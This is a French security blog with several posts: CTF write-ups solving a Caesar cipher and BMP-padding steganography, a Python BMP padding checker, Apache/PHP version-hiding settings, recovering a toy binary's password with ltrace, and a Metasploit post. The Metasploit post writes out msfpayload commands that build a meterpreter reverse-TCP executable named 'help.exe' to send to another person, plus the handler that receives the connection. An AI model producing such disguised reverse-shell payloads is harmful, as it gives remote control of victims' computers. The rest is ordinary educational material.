dimanche 9 janvier 2011

NDH Cryptographie Epreuve 1

Je continue mon parcours sur les épreuves du challenge public de la ndh 2010. Ici on s'attaque à l'épreuve 1 de le cryptographie.


Xnwrk ha dwod lkqn rwhezan aop 27wz62965aawa3b0b1319y489y107y99


Bon on se dit que c'est la première épreuve et que ça ne doit pas être bien difficile, on va commencer simple, voir très simple avec un simple césar.

time0ut# caesar.rb -b -f epreuve.txt
DEC:1 => WMVQJ GZ CVNC KJPM QVGDYZM ZNO 27VY62965ZZVZ3A0A1319X489X107X99
DEC:2 => VLUPI FY BUMB JIOL PUFCXYL YMN 27UX62965YYUY3Z0Z1319W489W107W99
DEC:3 => UKTOH EX ATLA IHNK OTEBWXK XLM 27TW62965XXTX3Y0Y1319V489V107V99
DEC:4 => TJSNG DW ZSKZ HGMJ NSDAVWJ WKL 27SV62965WWSW3X0X1319U489U107U99
DEC:5 => SIRMF CV YRJY GFLI MRCZUVI VJK 27RU62965VVRV3W0W1319T489T107T99
DEC:6 => RHQLE BU XQIX FEKH LQBYTUH UIJ 27QT62965UUQU3V0V1319S489S107S99
DEC:7 => QGPKD AT WPHW EDJG KPAXSTG THI 27PS62965TTPT3U0U1319R489R107R99
DEC:8 => PFOJC ZS VOGV DCIF JOZWRSF SGH 27OR62965SSOS3T0T1319Q489Q107Q99
DEC:9 => OENIB YR UNFU CBHE INYVQRE RFG 27NQ62965RRNR3S0S1319P489P107P99
DEC:10 => NDMHA XQ TMET BAGD HMXUPQD QEF 27MP62965QQMQ3R0R1319O489O107O99
DEC:11 => MCLGZ WP SLDS AZFC GLWTOPC PDE 27LO62965PPLP3Q0Q1319N489N107N99
DEC:12 => LBKFY VO RKCR ZYEB FKVSNOB OCD 27KN62965OOKO3P0P1319M489M107M99
DEC:13 => KAJEX UN QJBQ YXDA EJURMNA NBC 27JM62965NNJN3O0O1319L489L107L99
DEC:14 => JZIDW TM PIAP XWCZ DITQLMZ MAB 27IL62965MMIM3N0N1319K489K107K99
DEC:15 => IYHCV SL OHZO WVBY CHSPKLY LZA 27HK62965LLHL3M0M1319J489J107J99
DEC:16 => HXGBU RK NGYN VUAX BGROJKX KYZ 27GJ62965KKGK3L0L1319I489I107I99
DEC:17 => GWFAT QJ MFXM UTZW AFQNIJW JXY 27FI62965JJFJ3K0K1319H489H107H99
DEC:18 => FVEZS PI LEWL TSYV ZEPMHIV IWX 27EH62965IIEI3J0J1319G489G107G99
DEC:19 => EUDYR OH KDVK SRXU YDOLGHU HVW 27DG62965HHDH3I0I1319F489F107F99
DEC:20 => DTCXQ NG JCUJ RQWT XCNKFGT GUV 27CF62965GGCG3H0H1319E489E107E99
DEC:21 => CSBWP MF IBTI QPVS WBMJEFS FTU 27BE62965FFBF3G0G1319D489D107D99
DEC:22 => BRAVO LE HASH POUR VALIDER EST 27AD62965EEAE3F0F1319C489C107C99
DEC:23 => AQZUN KD GZRG ONTQ UZKHCDQ DRS 27ZC62965DDZD3E0E1319B489B107B99
DEC:24 => ZPYTM JC FYQF NMSP TYJGBCP CQR 27YB62965CCYC3D0D1319A489A107A99
DEC:25 => YOXSL IB EXPE MLRO SXIFABO BPQ 27XA62965BBXB3C0C1319Z489Z107Z99
caesar.rb est un programme faisant juste des décalage de lettres. L'option -b lui dit de tester toutes les possibilités (c'est à dire juste 25 pour un simple César). On voit que le décalage 22 donne le bon résulat.

jeudi 6 janvier 2011

NDH Steganographie Epreuve 3

J'ai décidé pendant mon temps libre de m'attaquer aux challenges publics de la nuit du hack 2010 qui a eu lieu le 19 Juin 2010. Comme ces challenges se déroulent sur une nuit, ils sont relativement rapides à faire et je dois dire très bien faits. Je félicite donc les concepteurs de ces challenges, car ils sont très intéressants sans être trop prise de tête. L'épreuve 3 de steganographie illustre parfaitement mon post sur le padding BMP. On ressort donc mon petit programme python que l'on peut trouver dans ce post et on l'exécute sur notre image.
time0ut# ./bmp.py space.bmp
Taille padding : 842
Padding non nul !
Ca ne fait pas de doute, ça sent l'information cachée dans le padding à plein nez ! Le problème c'est qu'en stéganographie il peut être facile de savoir si oui ou non une information est cachée dans le support, par contre savoir extraire cette information est d'une toute autre difficulté.

On va commencer doucement et simplement afficher le contenu de ce padding, avec un peu de chance on trouvera quelque chose de connu. Pour cela, je m'appuie sur la classe BMP codée dans mon post sur le padding.
...
img = BMP(sys.argv[1]);
print "".join(bmp.padding());
Et on execute le programme !
time0ut# ./ep3.py space.bmp
bGUgaGFzaCBlc3QgOiA2Njk3NmI1ZDNiYWNjNzQwOWNkODNiNGIzMTM5NDcxYw==
Hum, ça sent bon. On voit clairement que c'est de la base64, l'extraction de l'information ne sera donc pas difficile ! On modifie le programme.
...
img = BMP(sys.argv[1]);
print base64.b64decode("".join(bmp.padding()));
Et on conclut !
time0ut# ./ep3.py space.bmp
le hash est : 66976b5d3bacc7409cd83b4b3139471c
Voilà résolution terminée !

mercredi 5 janvier 2011

Padding BMP

Suite à mon introduction sur le concept de la stéganographie, voilà un exemple appliqué sur les images bitmap plus communément appelées BMP. Cette technique assez basique fonctionne exclusivement sur les images BMP car elle utilise une des particularités de ce format : le padding (le bourrage en français). La norme BMP dit que chaque ligne de l'image doit être codée par un nombre d'octets multiple de 4. Si ce n'est pas il faut combler le manque d'octets avec la valeur nulle. On appelle ça le padding.
  On se retrouve donc avec un fichier possédant des octets qui n'apportent aucune information et qui sont même complètement ignorés par la totalité des programmes. Il est donc possible d'utiliser ce padding pour cacher des données à l'intérieur. L'image apparaitra totalement inchangée dans votre viewer préférée. Cette technique très simple n'est possible que si une ligne n'est pas codée avec un nombre d'octets multiple de 4 bien entendu, sinon le padding sera inexistant. On peut donc écrire la formule suivante qui donnera la taille du nombre d'octet que l'on peut cacher dans une image BMP en utilisant cette technique :
Nb_Bytes = L*((4-((C*S)%4))%4)

L : Nombre de lignes de l'image

C : Nombre de colonnes de l'image

S : Taille en octet d'un pixel

Petit exemple : la première image ici est l'image originale.

 La deuxième image contient un message caché de 173 octets (on aurait pu aller jusqu'à 508 !).
 
 Comme on peut le voir elles ont exactement le même aspect et font exactement le même poids. Le programme python suivant permet de savoir si oui ou non l'image que l'on passe en paramètre ne contient que des octets nuls dans son padding (attention à n'utiliser que sur des images BMP non indexées).
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys,struct

class BMP:
 def __init__(self,path):
  f = open(path,"rb")
  data = f.read()
  f.close()

  names = ["magick","size_file","creator1","creator2","start_data","header_image","width","height","plan","colors","compression","raw_size","horizontal","vertical","color_palette","important_colors"]

  values = struct.unpack('<2sLHHLLLLHHLLLLLL',data[:54])
  self.data = data[54:]

  self.header = dict()

  for i in range(len(names)):
   self.header[names[i]] = values[i]

  # On stocke quelques éléments pour ne pas être obligé de toujours les calculer
  self.size_pixel = self.header['colors']/8
  self.padding_size = self.padding_size()

 # Retourne la taille du padding par ligne
 def padding_size(self):
  return ((4-(self.header['width']*self.size_pixel)%4)%4)

 # Retourne un tableau contenant le padding dans le fichier bmp
 def padding(self):
  r = []

  if self.padding_size != 0:
   start = 0
   for row in range(self.header['height']):
    start += (self.size_pixel*self.header['width'])
    r += struct.unpack('c'*self.padding_size,self.data[start:start+self.padding_size])
    start += self.padding_size

  return r

if len(sys.argv) != 2:
 print "Manque le fichier bmp"
 sys.exit(1)

bmp = BMP(sys.argv[1])
print "Taille padding : %i" % (bmp.padding_size*bmp.header["height"])
for e in bmp.padding():
 if e != 0:
  print "Padding non nul !"
  sys.exit(0)

print "Padding nul"
sys.exit(0)
Cette technique à l'avantage de ne pas du tout altérer l'image, et de ne pas modifier sa taille. Cependant, outre le fait qu'elle soit très basique, il faut bien faire attention aux informations cachées dans le padding. La simple ouverture de l'image dans un fichier texte peut révéler des parties de l'information cachée, qui se trouvera en clair. Un élément important avec cette technique à préciser est la structure d'un fichier BMP. Contrairement à la plupart des formats d'images les lignes sont stockées dans l'ordre inverse : la dernière ligne est codée, puis l'avant dernière, ... et enfin la première. De plus (mais ça n'a pas réellement d'impact ici), le codage d'un pixel se fait dans l'ordre bleu-vert-rouge, contrairement aux rouge-vert-bleu habituels.

dimanche 2 janvier 2011

Cacher sa version d'Apache/PHP

La sécurité par l'obscurité n'a jamais été une bonne méthode pour se protéger. Cependant ne pas fournir trop d'informations sur les services et leurs versions écoutant sur notre machine est quand même un élément déterminant, pour rendre la tâche de l'attaquant plus difficile. Ce qui est important, c'est de ne pas se limiter à cela. Ce n'est pas parce que vous filtrez le plus grand nombre d'information que vous êtes en sécurité. Par défaut Apache et PHP envoient des informations sur leurs versions, leurs patchs, le système d'exploitation sur lesquels ils tournent..., que ce soit dans les en-têtes HTTP ou dans les pages d'erreur (de type 404 par exemple). Cette "fuite" d'information sur la configuration de votre serveur WEB est en générale dans la configuration par défaut d'Apache et PHP. On peut par exemple trouver dans l'en-tête HTTP des informations de ce type :
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Et dans les fichiers d'erreurs :
Not Found
The requested URL /blog/dfd.html was not found on this server.
Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch Server at www.time0ut.org Port 80
Pour empêcher la divulgation de ces informations, il suffit de modifier les paramètres d'apache de cette façon (en général dans apache.conf) :
ServerTokens Prod
ServerSignature Off
La première ligne limite le paramètre Server de l'en-tête HTTP à Apache, et la deuxième ligne enlève les informations des pages d'erreur. Pour PHP, il faut modifier le fichier php.ini en mettant :
expose_php = Off
Qui aura pour effet de ne plus envoyer la ligne X-Powered-By de la réponse HTTP du serveur.

vendredi 3 décembre 2010

Utilisation de ltrace

Alors que dernièrement je faisais un petit challenge sur intruded.net, je me suis retrouvé confronté à un binaire qui me demandait un mot de passe. Un binaire très basique (dans les premiers niveaux) et j'avoue j'avais la flemme d'utiliser gdb.

Je me suis donc dit que peut être le binaire était suffisamment basique pour pouvoir être résolu juste avec la commande ltrace. La commande ltrace permet de tracer les appels fait par le programme à des fonctions situées dans des librairies partagées. Donc avec un peu de chance, le programme fait juste un strcmp entre la chaîne que l'on a entrée et le mot de passe attendu :)

Bien entendu, je ne vais pas montrer des exemples avec le binaire d'intruded.net car ça gâcherait le plaisir. Je vais donc baser mon exemple sur le programme suivant :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SIZE 16

void uncrypt(const int *pass, char *res) {
   int i;
   for(i=0;i   res[i] = '\0';
}


int main(int argc, char **argv) {
   char leurre[] = "ThePass";
   int xor_password[] = {216,152,200,254,217,152,207,251,152,216,248,220,155,249,207};
   char password[SIZE];
   char proposition[SIZE];

   uncrypt(xor_password,password);

   printf("password : ");
   fgets(proposition,SIZE,stdin);

   if(!strncmp(proposition,password,SIZE)) printf("ACCESS GRANTED\n");
   else printf("ACCESS DENIED\n");

   return EXIT_SUCCESS;
}
Comme on peut le voir avec la commande strings, le mot de passe n'apparaît pas étant donné que celui-ci est xoré.

time0ut# strings blog_pass
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
strncmp
puts
__stack_chk_fail
stdin
printf
fgets
__libc_start_main
GLIBC_2.4
GLIBC_2.0
PTRhP
[^_]
password : 
ACCESS GRANTED
ACCESS DENIED
ThePass
Par contre on voit bien le leurre ;)
La commande ltrace nous permet de venir à bout de ce binaire très simple :
time0ut# ltrace ./blog_pass
__libc_start_main(0x80484fe, 1, 0xbfb8a474, 0x8048660, 0x8048650 
printf("password : ")                                                                                         = 11
fgets(password : test
"test\n", 16, 0x97c440)                                                                                 = 0xbfb8a394
strncmp("test\n", "s3cUr3dP3sSw0Rd", 16)                                                                      = 1
puts("ACCESS DENIED"ACCESS DENIED
)                                                                                         = 14
+++ exited (status 0) +++
Voilà notre binaire est cassé et le mot de passe trouvé : s3cUr3dP3sSw0Rd.
time0ut# ./blog_pass
password : s3cUr3dP3sSw0Rd
ACCESS GRANTED
A noter, il existe aussi la commande strace qui permet de tracer les appels systèmes.

Stéganographie

La stéganographie est un domaine que je ne connaissais pas du tout et que j'ai appris à apprécier grâce à des sites de challenges informatiques comme newbiecontest, wechall ou encore bright-shadows.

Contrairement à la cryptographie dont l'objectif va être de rendre une information non intelligible pour les personnes non autorisées, la stéganographie va cacher une information dans un contenu de telle sorte qu'on ne puisse pas savoir que quelque chose est cachée. Pourquoi chercher quelque chose si on ne sait même pas que ce quelque chose existe ?
Les différents supports dans lesquels on peut cacher des informations peuvent être très variés : images, vidéos, sons, système de fichier, texte... tout est possible.

La difficulté pour cacher l'information ou pour déceler qu'une information est cachée dépend vraiment de la technique utilisée. Certaines peuvent très simples, comme la célèbre lettre de George Sand à Alfred de Musset qui doit se lire une ligne sur deux :
Je suis très émue de vous dire que j'ai
bien compris, l'autre jour, que vous avez
toujours une envie folle de me faire
danser. Je garde un souvenir de votre
baiser et je voudrais que ce soit
là une preuve que je puisse être aimée
par vous. Je suis prête à vous montrer mon
affection toute désintéressée et sans cal-
cul. Si vous voulez me voir ainsi
dévoilée, sans aucun artifice mon âme
toute nue, daignez donc me faire une visite.
Et nous causerons en amis et en chemin.
Je vous prouverai que je suis la femme
sincère capable de vous offrir l'affection
la plus profonde et la plus étroite
amitié, en un mot, la meilleure amie
que vous puissiez rêver. Puisque votre
âme est libre, alors que l'abandon où je
vis est bien long, bien dur et bien souvent
pénible, ami très cher, j'ai le cœur
gros, accourez vite et venez me le
faire oublier. À l'amour, je veux me sou-
mettre entièrement.
D'autres très compliquées et faisant appel à des analyses statistiques et des calculs mathématiques complexes.

La stéganographie est un sujet vaste et de nombreuses études sont faites à ce sujet aujourd'hui, car c'est un moyen très puissant pour transmettre des informations qui ne devraient pas être connues.

samedi 27 novembre 2010

Metasploit : moyen d'administration ?

Régulièrement dans mon entourage on me demande de l'aide en informatique : "j'aimerais bien faire ça mais je ne sais pas faire", "ça ne marche pas", "je comprends pas"... La tâche est bien souvent difficile quand on fait cela par téléphone et qu'on n'a pas accès directement à l'ordinateur : le vocabulaire utilisé par la personne novice n'est pas le même, l'interprétation des évènement arrivant sur le PC non plus. L'idéal c'est de pouvoir prendre la main facilement sur le PC quand la personne en a besoin et non pas quand on le souhaite (on essaye quand même de faire de la sécurité).

Pour faire cela, bien entendu il est complètement impossible de demander à la personne d'installer un serveur VNC et encore moins de lui demander de reconfigurer sa box pour ouvrir (et rediriger) les ports qu'il faut. Je trouve que metasploit permet de répondre de façon élégante à ce problème.

L'idée est de créer dans un premier temps un exécutable que l'on enverra à la personne. Une fois que la personne exécutera ce programme, il se connectera directement à notre PC et nous pourrons grâce à cela prendre le contrôle du PC. Etant donné que c'est la personne qui se connecte chez nous (et non pas l'inverse), aucun besoin (en général) de reconfigurer sa box, uniquement la nôtre.

La création du programme se fait via l'utilitaire msfpayload qui permet de générer des payloads utilisés par metasploit. On va donc choisir la payload windows/meterpreter/reverse_tcp, qui est tout simplement un meterpreter qui se connectera sur notre machine. Il est nécessaire de spécifier 2 options à ce payload, la première est notre adresse IP et la deuxième et le port tcp sur lequel elle se connectera. Enfin le X à la fin de la commande permet de dire que l'on veut générer un exécutable windows.
$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=$IP LPORT=4444 X &gt; help.exe
Il faut remplacer dans la ligne de commande $IP par votre IP. Le port utilisé est le port par défaut. Le fichier help.exe généré il suffit de l'envoyer à votre ami pour que celui ci puisse l'exécuter.

Bien entendu chez nous, il faut un programme qui soit en attente de la connexion. Celui-ci se lance via l'utilitaire msfcli (on pourrait le faire en console metaplsoit avec msfconsole) en utilisant l'exploit exploit/multi/handler.
time0ut# ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=$IP E
$IP doit bien entendu correspondre avec l'IP qui a été mise dans l'exécutable précédent.
Dès que la personne cliquera sur l'exécutable, il se connectera sur notre handler et une session meterpreter sera lancée. Ensuite il suffira de faire un simple run vnc pour avoir un écran VNC ou un simple shell pour avoir une invite de commande.